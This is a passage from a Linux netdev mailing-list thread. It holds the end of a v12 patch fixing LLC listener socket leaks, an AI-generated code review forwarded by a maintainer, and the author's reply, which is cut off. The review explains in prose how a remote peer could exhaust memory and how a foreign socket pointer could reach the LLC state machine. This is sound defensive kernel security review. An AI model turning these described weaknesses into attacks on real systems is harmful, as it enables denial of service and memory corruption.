are processed.

Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: LLM
Co-developed-by: Luxing Yin <root@tr0jan.top>
Signed-off-by: Luxing Yin <root@tr0jan.top>
Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
---
changes in v12:
  - Order llc_conn_handler() locals in reverse Christmas tree order.
  - Limit child creation to SABME; preserve listener-side DM responses for
    DISC and other P=1 commands.
  - Hold skb->dev through backlog processing and drop ownerless deferred
    SABMEs if the listener leaves TCP_LISTEN before drain.
  - Keep accept-queue accounting and release unaccepted children on
    failure and teardown.
  - v11 Link:
    https://lore.kernel.org/all/cover.1790062133.git.zihanx@nebusec.ai/

changes in v11:
  - Defer listener child creation until backlog admission and disable
    bottom halves while publishing and processing a new child.
  - v10 Link:
    https://lore.kernel.org/all/cover.1789824800.git.zihanx@nebusec.ai/

changes in v10:
  - Complete SABME failure and teardown cleanup, count indications against
    the accept backlog, and serialize child publication and lookup.
  - v9 Link:
    https://lore.kernel.org/all/cover.1789216793.git.zihanx@nebusec.ai/

changes in v9:
  - Narrow the fix to non-SABME listener leaks; preserve the SABME child
    lifecycle and handle DISC/P=1 commands with listener-side DM replies.
  - v8 Link:
    https://lore.kernel.org/all/abc8b115321dbd417b8491d9e51f1988998ff50e.1788707641.git.zihanx@nebusec.ai/

changes in v8:
  - Correct queued-child reference handling and prevent stale or released
    children from reaching accept and backlog state-machine paths.
  - v7 Link:
    https://lore.kernel.org/all/cover.1788414881.git.zihanx@nebusec.ai/

changes in v7:
  - Drop the overlapping LLC state-bound patch and keep the listener leak
    fix, with child teardown and reproducer/crash evidence updates.
  - v6 Link:
    https://lore.kernel.org/all/cover.1787752861.git.zihanx@nebusec.ai/

changes in v6:
  - Track pending-child references across accept, receive, backlog and
    listener close paths.
  - v5 Link:
    https://lore.kernel.org/all/20260822082354.3109-1-zihanx@nebusec.ai/

changes in v5:
  - Reclaim pending children on listener-state/close paths and split the
    LLC_CONN_OUT_OF_SVC state-bound change into a separate patch.
  - v4 Link:
    https://lore.kernel.org/all/20260814185843.4748-1-zihanx@nebusec.ai/

changes in v4:
  - Introduce SABME-only child creation, listener DM replies and serialized
    rollback/close cleanup for unaccepted children.
  - v3 Link:
    https://lore.kernel.org/all/20260805175945.10698-1-zihanx@nebusec.ai/

changes in v3:
  - Remove an unused local and rebase the patch.
  - v2 Link:
    https://lore.kernel.org/all/cover.1785386749.git.zihanx@nebusec.ai/

changes in v2:
  - Preserve SAP tuple matching while tracking pending children and
    reclaiming them on failure/drop paths; correct Fixes attribution.
  - v1 Link:
    https://lore.kernel.org/all/cover.1784725007.git.zihanx@nebusec.ai/
---

 net/llc/llc_conn.c | 175 +++++++++++++++++++++++++++++++++++++++++----
 1 file changed, 163 insertions(+), 12 deletions(-)

diff --git a/net/llc/llc_conn.c b/net/llc/llc_conn.c
index 260460d50f54c..77044720f12ff 100644
--- a/net/llc/llc_conn.c
+++ b/net/llc/llc_conn.c
@@ -32,6 +32,7 @@ static int llc_exec_conn_trans_actions(struct sock *sk,
 				       struct sk_buff *ev);
 static const struct llc_conn_state_trans *llc_qualify_conn_ev(struct sock *sk,
 							      struct sk_buff *skb);
+static void __llc_sk_free(struct sock *sk, bool sync);
 
 /* Offset table on connection states transition diagram */
 static int llc_offset_table[NBR_CONN_STATES][NBR_CONN_EV];
@@ -90,6 +91,8 @@ int llc_conn_state_process(struct sock *sk, struct sk_buff *skb)
 		 */
 		skb_get(skb);
 		skb_queue_tail(&sk->sk_receive_queue, skb);
+		if (sk->sk_state == TCP_LISTEN)
+			sk_acceptq_added(sk);
 		sk->sk_state_change(sk);
 		break;
 	case LLC_DISC_PRIM:
@@ -765,14 +768,124 @@ static struct sock *llc_create_incoming_sock(struct sock *sk,
 	memcpy(&newllc->laddr, daddr, sizeof(newllc->laddr));
 	memcpy(&newllc->daddr, saddr, sizeof(newllc->daddr));
 	newllc->dev = dev;
-	dev_hold(dev);
+	netdev_hold(dev, &newllc->dev_tracker, GFP_ATOMIC);
+	/* Serialize packets that can find the child after it is hashed. */
+	bh_lock_sock_nested(newsk);
 	llc_sap_add_socket(llc->sap, newsk);
 out:
 	return newsk;
 }
 
+static bool llc_sk_unhashed(const struct sock *sk)
+{
+	return hlist_nulls_unhashed_lockless(&sk->sk_nulls_node);
+}
+
+static void llc_free_incoming_sock(struct sock *sk, bool bh_locked)
+{
+	struct llc_sock *llc = llc_sk(sk);
+	struct llc_sap *sap = llc->sap;
+	struct net_device *dev = llc->dev;
+
+	if (!bh_locked) {
+		local_bh_disable();
+		bh_lock_sock_nested(sk);
+	}
+	llc->state = LLC_CONN_OUT_OF_SVC;
+	/* Keep both objects alive through timer teardown. */
+	llc_sap_hold(sap);
+	netdev_hold(dev, NULL, GFP_ATOMIC);
+	llc_sap_remove_socket(sap, sk);
+	bh_unlock_sock(sk);
+	if (!bh_locked)
+		local_bh_enable();
+	netdev_put(dev, &llc->dev_tracker);
+	sock_orphan(sk);
+	/* Initial SABME setup arms no timers before it can fail. */
+	__llc_sk_free(sk, !bh_locked);
+	netdev_put(dev, NULL);
+	llc_sap_put(sap);
+}
+
+static void llc_conn_ind_rfree(struct sk_buff *skb)
+{
+	struct sock *sk = skb->sk;
+
+	sock_rfree(skb);
+	if (!sk->sk_socket)
+		llc_free_incoming_sock(sk, false);
+}
+
+static void llc_conn_send_dm_rsp(struct llc_sap *sap, struct sk_buff *skb,
+				 const struct llc_addr *saddr, u8 f_bit)
+{
+	struct sk_buff *nskb;
+	int rc;
+
+	nskb = llc_alloc_frame(NULL, skb->dev, LLC_PDU_TYPE_U, 0);
+	if (!nskb)
+		return;
+
+	llc_pdu_header_init(nskb, LLC_PDU_TYPE_U, sap->laddr.lsap,
+			    saddr->lsap, LLC_PDU_RSP);
+	llc_pdu_init_as_dm_rsp(nskb, f_bit);
+	rc = llc_mac_hdr_init(nskb, skb->dev->dev_addr, saddr->mac);
+	if (unlikely(rc))
+		kfree_skb(nskb);
+	else
+		dev_queue_xmit(nskb);
+}
+
+static void llc_listener_send_dm(struct llc_sap *sap, struct sock *sk,
+				 struct sk_buff *skb, const struct llc_addr *saddr)
+{
+	if (!llc_conn_ev_rx_disc_cmd_pbit_set_x(sk, skb)) {
+		u8 f_bit;
+
+		llc_pdu_decode_pf_bit(skb, &f_bit);
+		llc_conn_send_dm_rsp(sap, skb, saddr, f_bit);
+	} else if (!llc_conn_ev_rx_xxx_cmd_pbit_set_1(sk, skb)) {
+		llc_conn_send_dm_rsp(sap, skb, saddr, 1);
+	}
+}
+
+static int llc_conn_rcv_sabme(struct sock *sk, struct sk_buff *skb,
+			      struct llc_addr *saddr,
+			      struct llc_addr *daddr)
+{
+	struct sock *newsk;
+	int rc;
+
+	if (sk_acceptq_is_full(sk))
+		goto drop;
+
+	local_bh_disable();
+	newsk = llc_create_incoming_sock(sk, skb->dev, saddr, daddr);
+	if (!newsk) {
+		local_bh_enable();
+		goto drop;
+	}
+	skb_set_owner_r(skb, newsk);
+	rc = llc_conn_rcv(sk, skb);
+	if (unlikely(rc || llc_sk(newsk)->state != LLC_CONN_STATE_NORMAL)) {
+		if (!rc)
+			rc = -EINVAL;
+		llc_free_incoming_sock(newsk, true);
+	} else {
+		/* The indication owns the child until accept() grafts it. */
+		skb->destructor = llc_conn_ind_rfree;
+		bh_unlock_sock(newsk);
+	}
+	local_bh_enable();
+	return rc;
+drop:
+	kfree_skb(skb);
+	return 0;
+}
+
 void llc_conn_handler(struct llc_sap *sap, struct sk_buff *skb)
 {
+	struct net_device *backlog_dev = NULL;
 	struct llc_addr saddr, daddr;
 	struct sock *sk;
 
@@ -786,6 +899,10 @@ void llc_conn_handler(struct llc_sap *sap, struct sk_buff *skb)
 		goto drop;
 
 	bh_lock_sock(sk);
+	if (unlikely(llc_sk_unhashed(sk)))
+		goto drop_unlock;
+	if (unlikely(llc_sk(sk)->state == LLC_CONN_OUT_OF_SVC))
+		goto drop_unlock;
 	/*
 	 * This has to be done here and not at the upper layer ->accept
 	 * method because of the way the PROCOM state machine works:
@@ -795,11 +912,14 @@ void llc_conn_handler(struct llc_sap *sap, struct sk_buff *skb)
 	 * in the newly created struct sock private area. -acme
 	 */
 	if (unlikely(sk->sk_state == TCP_LISTEN)) {
-		struct sock *newsk = llc_create_incoming_sock(sk, skb->dev,
-							      &saddr, &daddr);
-		if (!newsk)
+		if (llc_conn_ev_rx_sabme_cmd_pbit_set_x(sk, skb)) {
+			llc_listener_send_dm(sap, sk, skb, &saddr);
 			goto drop_unlock;
-		skb_set_owner_r(skb, newsk);
+		}
+		if (!sock_owned_by_user(sk)) {
+			llc_conn_rcv_sabme(sk, skb, &saddr, &daddr);
+			goto out;
+		}
 	} else {
 		/*
 		 * Can't be skb_set_owner_r, this will be done at the
@@ -813,13 +933,16 @@ void llc_conn_handler(struct llc_sap *sap, struct sk_buff *skb)
 		skb->sk = sk;
 		skb->destructor = sock_efree;
 	}
-	if (!sock_owned_by_user(sk))
-		llc_conn_rcv(sk, skb);
-	else {
+	if (sock_owned_by_user(sk)) {
 		dprintk("%s: adding to backlog...\n", __func__);
 		llc_set_backlog_type(skb, LLC_PACKET);
+		/* The backlog can outlive the RCU protection of skb->dev. */
+		backlog_dev = skb->dev;
+		netdev_hold(backlog_dev, NULL, GFP_ATOMIC);
 		if (sk_add_backlog(sk, skb, READ_ONCE(sk->sk_rcvbuf)))
 			goto drop_unlock;
+	} else {
+		llc_conn_rcv(sk, skb);
 	}
 out:
 	bh_unlock_sock(sk);
@@ -830,6 +953,7 @@ void llc_conn_handler(struct llc_sap *sap, struct sk_buff *skb)
 	return;
 drop_unlock:
 	kfree_skb(skb);
+	netdev_put(backlog_dev, NULL);
 	goto out;
 }
 
@@ -852,12 +976,33 @@ static int llc_backlog_rcv(struct sock *sk, struct sk_buff *skb)
 {
 	int rc = 0;
 	struct llc_sock *llc = llc_sk(sk);
+	struct net_device *dev = NULL;
 
 	if (likely(llc_backlog_type(skb) == LLC_PACKET)) {
-		if (likely(llc->state > 1)) /* not closed */
-			rc = llc_conn_rcv(sk, skb);
-		else
+		/* Drop the reference acquired before the skb entered the backlog. */
+		dev = skb->dev;
+		if (unlikely(sk->sk_state == TCP_LISTEN)) {
+			struct llc_addr saddr, daddr;
+
+			if (llc_sk_unhashed(sk) ||
+			    llc->state == LLC_CONN_OUT_OF_SVC)
+				goto out_kfree_skb;
+			if (llc_conn_ev_rx_sabme_cmd_pbit_set_x(sk, skb)) {
+				llc_pdu_decode_sa(skb, saddr.mac);
+				llc_pdu_decode_ssap(skb, &saddr.lsap);
+				llc_listener_send_dm(llc->sap, sk, skb, &saddr);
+				goto out_kfree_skb;
+			}
+			llc_pdu_decode_sa(skb, saddr.mac);
+			llc_pdu_decode_ssap(skb, &saddr.lsap);
+			llc_pdu_decode_da(skb, daddr.mac);
+			llc_pdu_decode_dsap(skb, &daddr.lsap);
+			rc = llc_conn_rcv_sabme(sk, skb, &saddr, &daddr);
+			goto out;
+		} else if (unlikely(llc->state <= 1 || !skb->sk)) {
 			goto out_kfree_skb;
+		}
+		rc = llc_conn_rcv(sk, skb);
 	} else if (llc_backlog_type(skb) == LLC_EVENT) {
 		/* timer expiration event */
 		if (likely(llc->state > 1))  /* not closed */
@@ -869,6 +1014,7 @@ static int llc_backlog_rcv(struct sock *sk, struct sk_buff *skb)
 		goto out_kfree_skb;
 	}
 out:
+	netdev_put(dev, NULL);
 	return rc;
 out_kfree_skb:
 	kfree_skb(skb);
@@ -964,12 +1110,17 @@ void llc_sk_stop_all_timers(struct sock *sk, bool sync)
  *	Frees a LLC socket
  */
 void llc_sk_free(struct sock *sk)
+{
+	__llc_sk_free(sk, true);
+}
+
+static void __llc_sk_free(struct sock *sk, bool sync)
 {
 	struct llc_sock *llc = llc_sk(sk);
 
 	llc->state = LLC_CONN_OUT_OF_SVC;
 	/* Stop all (possibly) running timers */
-	llc_sk_stop_all_timers(sk, true);
+	llc_sk_stop_all_timers(sk, sync);
 #ifdef DEBUG_LLC_CONN_ALLOC
 	printk(KERN_INFO "%s: unackq=%d, txq=%d\n", __func__,
 		skb_queue_len(&llc->pdu_unack_q),
-- 
2.43.0


^ permalink raw reply	[flat|nested] 4+ messages in thread

* Re: [PATCH net v12 1/1] llc: fix listener child socket leaks
  2026-09-24 16:32 ` [PATCH net v12 1/1] " Zihan Xi
@ 2026-09-28  9:49   ` Simon Horman
  2026-09-28 12:50     ` zihan xi
  0 siblings, 1 reply; 4+ messages in thread
From: Simon Horman @ 2026-09-28  9:49 UTC (permalink / raw)
  To: zihanx
  Cc: Simon Horman, netdev, linux-kernel, davem, edumazet, kuba,
	pabeni, stable, vega, root

This is an AI-generated review of your patch. The human sending this
email says "I'm forwarding this as it looks legit and the forwarding
bot trigger seems to have timed out."
Full review at: https://netdev-ai.bots.linux.dev/sashiko/#/patchset/2af9949fc349d17b53db432893abb4d2e97932ce.1790255682.git.zihanx@nebusec.ai?part=1
---
llc: fix listener child socket leaks

This patch reworks LLC listener passive-open handling. Child sockets
created on SABME are now freed when setup fails or when the connection
indication is dropped before accept(). Only SABME creates children, the
listener sends DM responses for other commands, pending indications count
against the accept backlog, and skb->dev is held for packets deferred to
the socket backlog.

> diff --git a/net/llc/llc_conn.c b/net/llc/llc_conn.c
> index 260460d50f54c..77044720f12ff 100644
> --- a/net/llc/llc_conn.c
> +++ b/net/llc/llc_conn.c

[ ... ]

> @@ -90,6 +91,8 @@ int llc_conn_state_process(struct sock *sk, struct sk_buff *skb)
>  		 */
>  		skb_get(skb);
>  		skb_queue_tail(&sk->sk_receive_queue, skb);
> +		if (sk->sk_state == TCP_LISTEN)
> +			sk_acceptq_added(sk);
>  		sk->sk_state_change(sk);
>  		break;

[Severity: High]
This is a pre-existing issue and was not introduced by this patch. It is
in the same area the commit message describes, though. Can a remote peer
grow an unaccepted child's sk_receive_queue without bound here?

The child stays hashed while its indication waits in the listener's
queue. Suppose the peer sends DISC, which moves the child from NORMAL back
to ADM, and then sends SABME again. llc_conn_handler() finds the child
and takes the non-listener branch:

    skb_orphan(skb);
    sock_hold(sk);
    skb->sk = sk;
    skb->destructor = sock_efree;

llc_conn_rcv(child) then handles ADM + SABME, which issues another
connection indication. This case queues it on the child's own
sk_receive_queue with no rmem or sk_rcvbuf check. The child is not
TCP_LISTEN, so sk_acceptq_added() does not apply either. Each queued skb
also holds a reference on the child.

The new sk_acceptq_is_full() check in llc_conn_rcv_sabme() limits how
many children are created. It does not limit how many indications build
up on one child, and that memory stays pinned until the application
accepts or closes the listener.

[ ... ]

> @@ -765,14 +768,124 @@ static struct sock *llc_create_incoming_sock(struct sock *sk,

[ ... ]

> +static int llc_conn_rcv_sabme(struct sock *sk, struct sk_buff *skb,
> +			      struct llc_addr *saddr,
> +			      struct llc_addr *daddr)
> +{
> +	struct sock *newsk;
> +	int rc;
> +
> +	if (sk_acceptq_is_full(sk))
> +		goto drop;

[Severity: Medium]
Can sk_ack_backlog underflow, so that this check drops every SABME from
then on?

The counter only goes up in llc_conn_state_process() when sk_state is
TCP_LISTEN at queue time. Other code resets it without looking at what is
still queued:

net/llc/af_llc.c:llc_ui_listen() {
    ...
    if (sk->sk_state != TCP_LISTEN) {
        sk->sk_ack_backlog = 0;
        sk->sk_state       = TCP_LISTEN;
    }
    ...
}

llc_ui_connect() only rejects SS_CONNECTING. A listener with indications
still in sk_receive_queue can therefore call connect(), and a DM or
timeout then leaves it in TCP_CLOSE / SS_UNCONNECTED.

A second listen() resets sk_ack_backlog to 0 while the old indications
are still queued. Each accept() of one of those indications then calls
sk_acceptq_removed() unconditionally in llc_ui_accept().

The u32 counter wraps to 0xFFFFFFFF and sk_acceptq_is_full() stays true.
Later listen() calls do not reset the counter because sk_state is already
TCP_LISTEN. Is every new SABME then silently dropped here?

> +
> +	local_bh_disable();
> +	newsk = llc_create_incoming_sock(sk, skb->dev, saddr, daddr);

[ ... ]

> @@ -786,6 +899,10 @@ void llc_conn_handler(struct llc_sap *sap, struct sk_buff *skb)
>  		goto drop;
>  
>  	bh_lock_sock(sk);
> +	if (unlikely(llc_sk_unhashed(sk)))
> +		goto drop_unlock;
> +	if (unlikely(llc_sk(sk)->state == LLC_CONN_OUT_OF_SVC))
> +		goto drop_unlock;
>  	/*
>  	 * This has to be done here and not at the upper layer ->accept
>  	 * method because of the way the PROCOM state machine works:

[Severity: Low]
This isn't a bug, but two comments still say the child is created in
llc_conn_handler(): this one, and the one in the LLC_CONN_PRIM case of
llc_conn_state_process() ("the newly created struct sock in
llc_conn_handler").

After this patch the child is only created in llc_conn_rcv_sabme(). When
the listener is owned by the user, that happens later from
llc_backlog_rcv(). Should both comments be updated?

> @@ -795,11 +912,14 @@ void llc_conn_handler(struct llc_sap *sap, struct sk_buff *skb)
>  	 * in the newly created struct sock private area. -acme
>  	 */
>  	if (unlikely(sk->sk_state == TCP_LISTEN)) {
> -		struct sock *newsk = llc_create_incoming_sock(sk, skb->dev,
> -							      &saddr, &daddr);
> -		if (!newsk)
> +		if (llc_conn_ev_rx_sabme_cmd_pbit_set_x(sk, skb)) {
> +			llc_listener_send_dm(sap, sk, skb, &saddr);
>  			goto drop_unlock;
> -		skb_set_owner_r(skb, newsk);
> +		}
> +		if (!sock_owned_by_user(sk)) {
> +			llc_conn_rcv_sabme(sk, skb, &saddr, &daddr);
> +			goto out;
> +		}
>  	} else {
>  		/*
>  		 * Can't be skb_set_owner_r, this will be done at the
> @@ -813,13 +933,16 @@ void llc_conn_handler(struct llc_sap *sap, struct sk_buff *skb)
>  		skb->sk = sk;
>  		skb->destructor = sock_efree;
>  	}
> -	if (!sock_owned_by_user(sk))
> -		llc_conn_rcv(sk, skb);
> -	else {
> +	if (sock_owned_by_user(sk)) {
>  		dprintk("%s: adding to backlog...\n", __func__);
>  		llc_set_backlog_type(skb, LLC_PACKET);
> +		/* The backlog can outlive the RCU protection of skb->dev. */
> +		backlog_dev = skb->dev;
> +		netdev_hold(backlog_dev, NULL, GFP_ATOMIC);
>  		if (sk_add_backlog(sk, skb, READ_ONCE(sk->sk_rcvbuf)))
>  			goto drop_unlock;

[Severity: Critical]
Can a listener SABME get into the backlog here with a foreign skb->sk
still attached?

Before this patch, the TCP_LISTEN branch always called
skb_set_owner_r(skb, newsk), and that orphans the skb first.

Now, when the listener is owned by the user, the SABME skips both
skb_set_owner_r() and the skb_orphan() in the else branch. It goes
straight to sk_add_backlog().

llc_rcv() only calls skb_share_check(). A frame sent locally over veth
from an AF_PACKET or AF_LLC socket can therefore still carry the sender's
skb->sk and its sock_wfree destructor.

If the listener leaves TCP_LISTEN before the backlog drains,
llc_backlog_rcv() takes the non-listener branch:

    } else if (unlikely(llc->state <= 1 || !skb->sk)) {
        goto out_kfree_skb;
    }
    rc = llc_conn_rcv(sk, skb);

The !skb->sk test is supposed to drop these ownerless deferred SABMEs,
but the foreign skb->sk gets past it. llc_conn_state_process() then runs
the state machine on llc_sk(skb->sk), which is the sender's socket. This
path holds no reference on that socket, and it may not be an LLC socket
at all.

One way to leave TCP_LISTEN while the lock is owned is llc_ui_connect().
It does not reject listeners and it sets sk_state = TCP_SYN_SENT. At that
point llc->state is SETUP, which is greater than 1. The backlog is then
drained in llc_ui_wait_for_conn() or in release_sock().

Should the skb be orphaned before it is backlogged in the listener case?

[ ... ]

> @@ -852,12 +976,33 @@ static int llc_backlog_rcv(struct sock *sk, struct sk_buff *skb)
>  {
>  	int rc = 0;
>  	struct llc_sock *llc = llc_sk(sk);
> +	struct net_device *dev = NULL;
>  
>  	if (likely(llc_backlog_type(skb) == LLC_PACKET)) {
> -		if (likely(llc->state > 1)) /* not closed */
> -			rc = llc_conn_rcv(sk, skb);
> -		else
> +		/* Drop the reference acquired before the skb entered the backlog. */
> +		dev = skb->dev;
> +		if (unlikely(sk->sk_state == TCP_LISTEN)) {

[ ... ]

> +			llc_pdu_decode_sa(skb, saddr.mac);
> +			llc_pdu_decode_ssap(skb, &saddr.lsap);
> +			llc_pdu_decode_da(skb, daddr.mac);
> +			llc_pdu_decode_dsap(skb, &daddr.lsap);
> +			rc = llc_conn_rcv_sabme(sk, skb, &saddr, &daddr);

[Severity: Medium]
Could this create two children for the same tuple?

While the listener is owned, llc_conn_handler() backlogs SABMEs without
creating a child. A retransmitted or duplicate SABME from the same peer
can arrive before release_sock(). It finds no child in __llc_lookup(),
resolves to the listener, and is backlogged as well.

When the backlog drains, each SABME reaches llc_conn_rcv_sabme(). That
function only checks sk_acceptq_is_full() before
llc_create_incoming_sock() hashes a new child. The established tuple is
not looked up again.

Both children reach NORMAL, send UA and queue an accept indication.
sk_nulls_add_node_rcu() adds at the head, so only the newest child gets
traffic.

The older child is still accepted by userspace but never receives frames.
Its sends, and its DISC on close, use the same tuple as the peer's single
connection.

Before this patch, getting here needed two CPUs racing on the listener
slock. With this patch, hitting the owned-listener window at all seems to
be enough.

> +			goto out;
> +		} else if (unlikely(llc->state <= 1 || !skb->sk)) {
>  			goto out_kfree_skb;
> +		}
> +		rc = llc_conn_rcv(sk, skb);

[ ... ]

^ permalink raw reply	[flat|nested] 4+ messages in thread

* Re: [PATCH net v12 1/1] llc: fix listener child socket leaks
  2026-09-28  9:49   ` Simon Horman
@ 2026-09-28 12:50     ` zihan xi
  0 siblings, 0 replies; 4+ messages in thread
From: zihan xi @ 2026-09-28 12:50 UTC (permalink / raw)
  To: Simon Horman
  Cc: netdev, linux-kernel, davem, edumazet, kuba, pabeni, stable, vega, root

On Mon, Sep 28, 2026 at 5:50 PM Simon Horman <horms@kernel.org> wrote:
>
> This is an AI-generated review of your patch. The human sending this
> email says "I'm forwarding this as it looks legit and the forwarding
> bot trigger seems to have timed out."
> Full review at: https://netdev-ai.bots.linux.dev/sashiko/#/patchset/2af9949fc349d17b53db432893abb4d2e97932ce.1790255682.git.zihanx@nebusec.ai?part=1
> ---
> llc: fix listener child socket leaks
>
> This patch reworks LLC listener passive-open handling. Child sockets
> created on SABME are now freed when setup fails or when the connection
> indication is dropped before accept(). Only SABME creates children, the
> listener sends DM responses for other commands, pending indications count
> against the accept backlog, and skb->dev is held for packets deferred to
> the socket backlog.
>
> > diff --git a/net/llc/llc_conn.c b/net/llc/llc_conn.c
> > index 260460d50f54c..77044720f12ff 100644
> > --- a/net/llc/llc_conn.c
> > +++ b/net/llc/llc_conn.c
>
> [ ... ]
>
> > @@ -90,6 +91,8 @@ int llc_conn_state_process(struct sock *sk, struct sk_buff *skb)
> >                */
> >               skb_get(skb);
> >               skb_queue_tail(&sk->sk_receive_queue, skb);
> > +             if (sk->sk_state == TCP_LISTEN)
> > +                     sk_acceptq_added(sk);
> >               sk->sk_state_change(sk);
> >               break;
>
> [Severity: High]
> This is a pre-existing issue and was not introduced by this patch. It is
> in the same area the commit message describes, though. Can a remote peer
> grow an unaccepted child's sk_receive_queue without bound here?
>
> The child stays hashed while its indication waits in the listener's
> queue. Suppose the peer sends DISC, which moves the child from NORMAL back
> to ADM, and then sends SABME again. llc_conn_handler() finds the child
> and takes the non-listener branch:
>
>     skb_orphan(skb);
>     sock_hold(sk);
>     skb->sk = sk;
>     skb->destructor = sock_efree;
>
> llc_conn_rcv(child) then handles ADM + SABME, which issues another
> connection indication. This case queues it on the child's own
> sk_receive_queue with no rmem or sk_rcvbuf check. The child is not
> TCP_LISTEN, so sk_acceptq_added() does not apply either. Each queued skb
> also holds a reference on the child.
>
> The new sk_acceptq_is_full() check in llc_conn_rcv_sabme() limits how
> many children are created. It does not limit how many indications build
> up on one child, and that memory stays pinned until the application
> accepts or closes the listener.

Confirmed. This is a pre-existing issue and is not introduced by this patch.
>
> [ ... ]
>
> > @@ -765,14 +768,124 @@ static struct sock *llc_create_incoming_sock(struct sock *sk,
>
> [ ... ]
>
> > +static int llc_conn_rcv_sabme(struct sock *sk, struct sk_buff *skb,
> > +                           struct llc_addr *saddr,
> > +                           struct llc_addr *daddr)
> > +{
> > +     struct sock *newsk;
> > +     int rc;
> > +
> > +     if (sk_acceptq_is_full(sk))
> > +             goto drop;
>
> [Severity: Medium]
> Can sk_ack_backlog underflow, so that this check drops every SABME from
> then on?
>
> The counter only goes up in llc_conn_state_process() when sk_state is
> TCP_LISTEN at queue time. Other code resets it without looking at what is
> still queued:
>
> net/llc/af_llc.c:llc_ui_listen() {
>     ...
>     if (sk->sk_state != TCP_LISTEN) {
>         sk->sk_ack_backlog = 0;
>         sk->sk_state       = TCP_LISTEN;
>     }
>     ...
> }
>
> llc_ui_connect() only rejects SS_CONNECTING. A listener with indications
> still in sk_receive_queue can therefore call connect(), and a DM or
> timeout then leaves it in TCP_CLOSE / SS_UNCONNECTED.
>
> A second listen() resets sk_ack_backlog to 0 while the old indications
> are still queued. Each accept() of one of those indications then calls
> sk_acceptq_removed() unconditionally in llc_ui_accept().
>
> The u32 counter wraps to 0xFFFFFFFF and sk_acceptq_is_full() stays true.
> Later listen() calls do not reset the counter because sk_state is already
> TCP_LISTEN. Is every new SABME then silently dropped here?

 Confirmed. The accept-queue counter can underflow as described.
>
> > +
> > +     local_bh_disable();
> > +     newsk = llc_create_incoming_sock(sk, skb->dev, saddr, daddr);
>
> [ ... ]
>
> > @@ -786,6 +899,10 @@ void llc_conn_handler(struct llc_sap *sap, struct sk_buff *skb)
> >               goto drop;
> >
> >       bh_lock_sock(sk);
> > +     if (unlikely(llc_sk_unhashed(sk)))
> > +             goto drop_unlock;
> > +     if (unlikely(llc_sk(sk)->state == LLC_CONN_OUT_OF_SVC))
> > +             goto drop_unlock;
> >       /*
> >        * This has to be done here and not at the upper layer ->accept
> >        * method because of the way the PROCOM state machine works:
>
> [Severity: Low]
> This isn't a bug, but two comments still say the child is created in
> llc_conn_handler(): this one, and the one in the LLC_CONN_PRIM case of
> llc_conn_state_process() ("the newly created struct sock in
> llc_conn_handler").
>
> After this patch the child is only created in llc_conn_rcv_sabme(). When
> the listener is owned by the user, that happens later from
> llc_backlog_rcv(). Should both comments be updated?

Confirmed. The comments are stale.
>
> > @@ -795,11 +912,14 @@ void llc_conn_handler(struct llc_sap *sap, struct sk_buff *skb)
> >        * in the newly created struct sock private area. -acme
> >        */
> >       if (unlikely(sk->sk_state == TCP_LISTEN)) {
> > -             struct sock *newsk = llc_create_incoming_sock(sk, skb->dev,
> > -                                                           &saddr, &daddr);
> > -             if (!newsk)
> > +             if (llc_conn_ev_rx_sabme_cmd_pbit_set_x(sk, skb)) {
> > +                     llc_listener_send_dm(sap, sk, skb, &saddr);
> >                       goto drop_unlock;
> > -             skb_set_owner_r(skb, newsk);
> > +             }
> > +             if (!sock_owned_by_user(sk)) {
> > +                     llc_conn_rcv_sabme(sk, skb, &saddr, &daddr);
> > +                     goto out;
> > +             }
> >       } else {
> >               /*
> >                * Can't be skb_set_owner_r, this will be done at the
> > @@ -813,13 +933,16 @@ void llc_conn_handler(struct llc_sap *sap, struct sk_buff *skb)
> >               skb->sk = sk;
> >               skb->destructor = sock_efree;
> >       }
> > -     if (!sock_owned_by_user(sk))
> > -             llc_conn_rcv(sk, skb);
> > -     else {
> > +     if (sock_owned_by_user(sk)) {
> >               dprintk("%s: adding to backlog...\n", __func__);
> >               llc_set_backlog_type(skb, LLC_PACKET);
> > +             /* The backlog can outlive the RCU protection of skb->dev. */
> > +             backlog_dev = skb->dev;
> > +             netdev_hold(backlog_dev, NULL, GFP_ATOMIC);
> >               if (sk_add_backlog(sk, skb, READ_ONCE(sk->sk_rcvbuf)))
> >                       goto drop_unlock;
>
> [Severity: Critical]
> Can a listener SABME get into the backlog here with a foreign skb->sk
> still attached?
>
> Before this patch, the TCP_LISTEN branch always called
> skb_set_owner_r(skb, newsk), and that orphans the skb first.
>
> Now, when the listener is owned by the user, the SABME skips both
> skb_set_owner_r() and the skb_orphan() in the else branch. It goes
> straight to sk_add_backlog().
>
> llc_rcv() only calls skb_share_check(). A frame sent locally over veth
> from an AF_PACKET or AF_LLC socket can therefore still carry the sender's
> skb->sk and its sock_wfree destructor.
>
> If the listener leaves TCP_LISTEN before the backlog drains,
> llc_backlog_rcv() takes the non-listener branch:
>
>     } else if (unlikely(llc->state <= 1 || !skb->sk)) {
>         goto out_kfree_skb;
>     }
>     rc = llc_conn_rcv(sk, skb);
>
> The !skb->sk test is supposed to drop these ownerless deferred SABMEs,
> but the foreign skb->sk gets past it. llc_conn_state_process() then runs
> the state machine on llc_sk(skb->sk), which is the sender's socket. This
> path holds no reference on that socket, and it may not be an LLC socket
> at all.
>
> One way to leave TCP_LISTEN while the lock is owned is llc_ui_connect().
> It does not reject listeners and it sets sk_state = TCP_SYN_SENT. At that
> point llc->state is SETUP, which is greater than 1. The backlog is then
> drained in llc_ui_wait_for_conn() or in release_sock().
>
> Should the skb be orphaned before it is backlogged in the listener case?

Confirmed. This is a regression introduced by the reviewed revision.
>
> [ ... ]
>
> > @@ -852,12 +976,33 @@ static int llc_backlog_rcv(struct sock *sk, struct sk_buff *skb)
> >  {
> >       int rc = 0;
> >       struct llc_sock *llc = llc_sk(sk);
> > +     struct net_device *dev = NULL;
> >
> >       if (likely(llc_backlog_type(skb) == LLC_PACKET)) {
> > -             if (likely(llc->state > 1)) /* not closed */
> > -                     rc = llc_conn_rcv(sk, skb);
> > -             else
> > +             /* Drop the reference acquired before the skb entered the backlog. */
> > +             dev = skb->dev;
> > +             if (unlikely(sk->sk_state == TCP_LISTEN)) {
>
> [ ... ]
>
> > +                     llc_pdu_decode_sa(skb, saddr.mac);
> > +                     llc_pdu_decode_ssap(skb, &saddr.lsap);
> > +                     llc_pdu_decode_da(skb, daddr.mac);
> > +                     llc_pdu_decode_dsap(skb, &daddr.lsap);
